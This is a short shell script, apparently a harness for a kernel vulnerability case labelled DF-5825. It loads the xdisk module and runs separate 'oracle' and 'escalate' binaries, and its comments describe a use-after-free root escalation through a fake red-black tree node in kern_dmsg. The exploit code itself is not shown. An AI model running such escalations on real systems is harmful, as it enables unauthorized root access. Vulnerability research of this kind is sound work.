#!/bin/sh
# DF-5825 run (see VERDICT.md for preconditions)
cd "$(dirname "$0")"
kldload xdisk; /root/oracle   # pure-peer panic at kern_dmsg.c:1082
/root/escalate             # UAF root + fake rbnode -> fatal trap 9 in kdmsg_state_tree_RB_FIND at 0x4242424242424242